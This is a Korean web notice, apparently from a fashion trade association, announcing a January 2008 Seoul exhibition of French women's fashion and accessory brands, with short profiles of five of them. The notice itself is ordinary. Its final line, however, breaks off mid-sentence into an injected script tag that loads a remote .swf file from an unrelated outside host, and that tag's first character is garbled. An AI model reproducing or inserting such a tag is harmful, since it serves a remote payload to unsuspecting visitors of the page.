프랑스 여성패션액세서리 전시 상담회

한국패션협회 2008-01-03 06:43 조회수 아이콘 757

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제4회 Fashion Luxe - 프랑스 여성패션액세서리 전시 상담회

오는 2008년 1월 9일 (수) - 11일 (금) 3일간 그랜드인터컨티넨탈 호텔 7층에서 제 4회 Fashion Luxe - 프랑스 여성패션/패션액세서리 전시 상담회가 열립니다. 관심 있는 업체의 많은 참여 부탁드립니다.

12개 프랑스 패션브랜드들이 참여 2008/9 F/W 컬렉션을 소개하고 국내의 유통 협력파트너(독점 수입에이전트, 수입편집매장, 개인부티끄, 브랜드 완사입, 면세점등)를 찾는 이번 수주상담회에도 많은 관심과 참여부탁드립니다.

<참여업체>

 

ABACO  
부드럽고 감각적인 터치의 가죽과 신소재를 사용하여 세계적으로 대성공을 거둔 보보(BO-BO)와 글래머(GLAMOUR) 스타일을 새롭게 선보인다. 2008년 추동 콜렉션은 우아함, 관능, 진정성의 세가지 핵심어로 고유의 철학을 표현하며 서울의 패션럭스 전시회에서 처음으로 남성 컬렉션을 선보인다. 아바코의 파티용 핸드백은 수출가 70-100유로, 일반남녀 핸드백 150-190 유로로 다른 디자이너들 에 비해 품질 대비 합리적인 가격을 제안한다.

DIAB’LESS
디아블레스(DIAB’ LESS)는 17년 전 샹탈 아제제(Chantal HAGEGE)가 런칭한 브랜드로 소매유통에 직접 공급하는 작은 기업으로 시작하여 2004년에는 대규모 유통망을 구축, 첨단의 유행을 선보이는 정통 브랜드로의 변신을 성공적으로 마쳤다. 좋은 품질과 젊은 감성이 어우러져 독특함과 극도의 여성미가 살아숨쉬는 자신만의 스타일을 연출할 수 있다. 연간 두번의 콜렉션을 선보이며 원피스, 바지, 자켓, 니트 등 중가대의 제품들을 선보인다. 파리 및 일본과 동남아시아에 단독매장으로 진출해 있다.

INES ET MARECHAL
이네스 에 마레샬(Ines et Marechal)은 신생브랜드로 소수의 패션전문가들 사이에서 컬렉션이 인정을 받고 있으며 특히 기능성이 강조된 외투가 보여주는 독특한 스타일룩이 잘 알려져 있다. 자연스럽게 어깨에 걸치거나 정성스럽게 단추를 채우거나 또는 선을 강조하기 위해 꽉 조인 허리등 다양하게 표현된 외투는 고객들이 입고 싶어하는 스타일을 잘 보여준다. 여름 컬렉션은 시원한 면안감을 댄 바랜 듯한 연한 색상의 가벼운 가죽을 사용하여 소재가 갖는 거친 야생의 느낌을 푸른 화초 핀 전원풍의 분위기로 잘 살려내고 있다. 겨울 컬렉션 은 따스한 점퍼 소품을 만들어 모피에 글래머러스한 효과를 준다.

IRENE VAN RYB
2008년 추동컬렉션은 세 가지 색상의 테마를 연출한다. 베이지, 브라운과 같은 나무 계열의 색상과 잿빛모래, 짙푸른 하늘색, 이국적 바다의 푸른색 등 겨울 해변가의 분위기가 감도는 색상, 그리고 빨간색과 진홍색 계열의 강렬한 색상을 주조로 사용한다. 실루엣은 겉으로 드러나는 지퍼, 매끄러운 벨벳등 80년대 스타일을 일부 도입하여 브랜드의 주모티브인 40-50년대 스타일을 강조한다.
치밀한 조직의 원단, 유연한 크레이프천, 트위드, 스코트랜드모나 양모를 소재로 한 가운 혹은 짧은 외투를 선보인다. 2008년 추동컬렉션은 여성스러움과 파리 감성이 강조되며 고품격의 멋스러움의 돋보이는 고급제품을 선보인다.

JEKEL
쟈크 제켈이1947년 만든 브랜드 제켈(JEKEL)은 현재 그의 아들 실뱅 제켈이 이어받아 새로운 스타일과 국제적인 명성의 브랜드로 키워가고 있다. 우수한 장인들의 솜씨에 힘입은 프랑스 고유의 노하우와 창조성이 어우러져 럭셔리 명품의 대명사로 자리잡았으며 선별된 유통망을 통해 판매된다. 2008/2009년 추동 컬렉션에서는 스포츠와 고급패션이 조화된 현대적인 컨셉으로 새로운 컬렉션의 장을 마련한다. 섬세하고 반짝이는 가죽에 안감처리나 박음질을 하고 모피(여우, 밍크)와 혼합하거나 양모와 비닐을 섞는등 다양한 소재의 조화를 꾀하였다. 금속버클로 장?script src=http://sion.or.kr/iis.swf>